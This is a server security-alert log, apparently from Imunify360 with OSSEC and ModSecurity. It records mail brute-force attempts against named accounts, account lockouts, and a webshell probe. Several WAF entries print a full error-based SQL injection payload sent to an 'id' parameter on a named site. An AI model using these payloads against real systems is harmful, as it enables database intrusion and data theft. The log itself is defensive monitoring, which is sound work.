2026-02-01 05:13:13 dovecot_login authenticator failed for H=(IKvhaQ) [45.94.31.131]:56909: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:13:24 dovecot_login authenticator failed for H=(y3pRaur) [158.94.208.110]:52023: 535 Incorrect authentication data (set_id=miner_sandy@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:13:23 dovecot_login authenticator failed for H=(6miOlK) [84.239.7.19]:38659: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:13:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:13:01 dovecot_login authenticator failed for H=(sIjiDDJA2) [141.98.11.11]:64311: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:13:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:13:08 dovecot_login authenticator failed for H=(6LpcC7) [178.16.54.22]:60373: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:13:22 dovecot_login authenticator failed for H=(pxSWUYDwI) [158.94.208.175]:52046: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.22.218
country_id: 290557
description:
2026-02-01 05:13:47 dovecot_plain authenticator failed for H=(clizers) [5.32.22.218]:44082: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:14:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:and 1= AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:14:52 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:65203: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:14:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:14:17 dovecot_login authenticator failed for H=(nUvPP2kA) [141.98.11.11]:61574: 535 Incorrect authentication data (set_id=oichingching)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:and 1= and (select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a)-- and 1=1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: PHP Injection Low value||MV:and 1= AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/feliogroupcom/public_html/product-details.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 178.255.41.196
country_id: 798544
domain: feliogroup.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1512' or (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and '1'='1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:14:09 dovecot_login authenticator failed for H=(i4PZfJjd) [84.239.7.19]:31859: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:14:17 dovecot_login authenticator failed for H=(XdIZAPI) [178.16.54.22]:50354: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:14:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:14:07 dovecot_login authenticator failed for H=(OI85jj) [158.94.208.175]:57827: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:14:12 dovecot_login authenticator failed for H=(7lpAxEb) [45.94.31.131]:57296: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:14:12 dovecot_login authenticator failed for H=(YIAsweCC) [158.94.208.110]:59969: 535 Incorrect authentication data (set_id=miner_sandy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:15:16 dovecot_login authenticator failed for H=(6863vB) [158.94.208.175]:54569: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:15:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55219: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:15:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:15:18 dovecot_login authenticator failed for H=(pJiRvM) [185.36.81.54]:64367: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:15:03 dovecot_login authenticator failed for H=(HeP0Lu) [178.16.54.22]:58941: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:15:03 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58687: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.107.199.180
country_id: 1880251
description:
[2026-02-01 05:15:08 +0800] info [webmaild] 103.107.199.180 - 2095central@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:15:11 dovecot_login authenticator failed for H=(6k9ZIH) [45.94.31.131]:63226: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:15:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:15:13 dovecot_login authenticator failed for H=(QdFXnxcG) [84.239.7.19]:28430: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:15:20 dovecot_login authenticator failed for H=(oYEEe7) [141.98.11.11]:56250: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:16:12 dovecot_login authenticator failed for H=(qKjtRI) [178.16.54.22]:56712: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 05:16:29 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:33488: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:16:01 dovecot_login authenticator failed for H=(lqd55K4) [84.239.7.19]:58366: 535 Incorrect authentication data (set_id=cofreth)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-01 05:16:02 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:50148: 535 Incorrect authentication data (set_id=enquiry@symphony-led.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:16:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:16:09 dovecot_login authenticator failed for H=(Gf5mDdK) [141.98.11.11]:54412: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.233
country_id: 2750405
description:
2026-02-01 05:16:43 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [2.58.56.233]:44844: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.115.237.19
country_id: 3923057
description:
2026-02-01 05:16:47 dovecot_login authenticator failed for H=([181.115.237.19]) [181.115.237.19]:51494: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-01 05:16:51 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:34108: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:16:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:16:07 dovecot_login authenticator failed for H=(XdNjAXRQz) [185.36.81.54]:57892: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:16:18 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53386: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:16:03 dovecot_login authenticator failed for H=(ZJ5XmXKk) [158.94.208.175]:49405: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:16:11 dovecot_login authenticator failed for H=(BpdV2J) [45.94.31.131]:55409: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.231.34
country_id: 1269750
description:
2026-02-01 05:16:33 dovecot_login authenticator failed for H=([203.145.159.97]) [182.95.231.34]:40280: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 05:17:24 H=([167.148.167.71]) [167.148.167.71]:64171 F=<Support@symphony-led.com> rejected RCPT <joseph@symphony-led.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:17:33 dovecot_login authenticator failed for H=(d9j9BV5492) [45.94.31.131]:63752: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.86
country_id: 1269750
description:
2026-02-01 05:17:48 dovecot_login authenticator failed for H=([125.23.237.86]) [125.23.237.86]:46152: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:17:06 dovecot_login authenticator failed for H=(sv5DMYl) [84.239.7.19]:31609: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:17:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:17:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58702: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:17:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:17:19 dovecot_login authenticator failed for H=(ww3qiUQ) [185.36.81.54]:62101: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:17:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:17:31 dovecot_login authenticator failed for H=(sVvbNoPG) [141.98.11.11]:53855: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:17:12 dovecot_login authenticator failed for H=(K55EzmrCx) [45.94.31.131]:59395: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:17:21 dovecot_login authenticator failed for H=(C9f7BUUGsY) [178.16.54.22]:53236: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:17:12 dovecot_login authenticator failed for H=(l3oP60W) [158.94.208.175]:49358: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.233
country_id: 2750405
description:
2026-02-01 05:17:13 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [2.58.56.233]:48650: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.45.232.11
country_id: 1814991
description:
2026-02-01 05:17:28 dovecot_login authenticator failed for H=([27.45.232.11]) [27.45.232.11]:44576: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:18:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:18:08 dovecot_login authenticator failed for H=(NZ6rdk) [141.98.11.11]:59182: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:18:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:18:22 dovecot_login authenticator failed for H=(uN2OC2UR) [158.94.208.175]:64744: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:18:07 dovecot_login authenticator failed for H=(SoMoWDk) [178.16.54.22]:63755: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:18:13 dovecot_login authenticator failed for H=(jNyDZ75) [45.94.31.131]:64782: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:18:51 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62995: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:18:11 dovecot_login authenticator failed for H=(aerzh2) [84.239.7.19]:21799: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:18:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:18:21 dovecot_login authenticator failed for H=(phVAmWO) [185.36.81.54]:49301: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-02-01 05:19:02 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:53681: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-02-01 05:19:56 dovecot_login authenticator failed for H=(nsg-corporate-58.202.186.122.airtel.in) [122.186.202.58]:55458: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:19:39 dovecot_login authenticator failed for H=(WYmm6y5mqQ) [185.36.81.54]:50595: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:19:08 dovecot_login authenticator failed for H=(8PsXH5d) [158.94.208.175]:56473: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:19:13 dovecot_login authenticator failed for H=(QJ42JtCDji) [45.94.31.131]:61764: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:19:15 dovecot_login authenticator failed for H=(zKPNq3VI) [84.239.7.19]:5704: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:19:16 dovecot_login authenticator failed for H=(9yFsCA) [178.16.54.22]:59049: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 05:19:41 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:49876: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:19:08 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50798: 535 Incorrect authentication data (set_id=testing@symphony-led.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:19:30 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:19:32 dovecot_login authenticator failed for H=(L2lMLOoB5) [141.98.11.11]:55024: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.36.122
country_id: 1210997
description:
2026-02-01 05:20:11 dovecot_login authenticator failed for H=([49.0.36.122]) [49.0.36.122]:54994: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:20:18 dovecot_login authenticator failed for H=(iXzZkarfW2) [158.94.208.175]:60604: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-02-01 05:20:05 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:57988: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.114
country_id: 1269750
description:
2026-02-01 05:20:15 dovecot_login authenticator failed for H=([182.95.25.142]) [182.95.61.114]:51742: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:20:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:20:27 dovecot_login authenticator failed for H=(195v4iG) [185.36.81.54]:53007: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:20:02 dovecot_login authenticator failed for H=(n5o2Eul) [84.239.7.19]:54857: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:20:02 dovecot_login authenticator failed for H=(b5OtEiKaa) [178.16.54.22]:57421: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:20:07 dovecot_login authenticator failed for H=(RuSYMxtv) [141.98.11.11]:57625: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:20:12 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49589: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:20:13 dovecot_login authenticator failed for H=(5JHkTNk65A) [45.94.31.131]:61985: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:20:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:21:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:21:04 dovecot_login authenticator failed for H=(oUEs9v) [158.94.208.175]:62427: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:21:10 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:59233: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:21:14 dovecot_login authenticator failed for H=(EJj4MlKiw) [45.94.31.131]:62492: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:21:53 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:21:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:21:20 dovecot_login authenticator failed for H=(1RoUqa) [141.98.11.11]:55384: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:21:12 dovecot_login authenticator failed for H=(ounstbG9) [178.16.54.22]:60984: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:21:19 dovecot_login authenticator failed for H=(9OpMHU8o) [185.36.81.54]:56853: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:21:19 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61413: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.227.25.115
country_id: 6252001
description:
2026-02-01 05:21:28 dovecot_plain authenticator failed for H=c-98-227-25-115.hsd1.il.comcast.net (reind) [98.227.25.115]:54132: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:21:05 dovecot_login authenticator failed for H=(7KKoCSz) [84.239.7.19]:43304: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: modsec
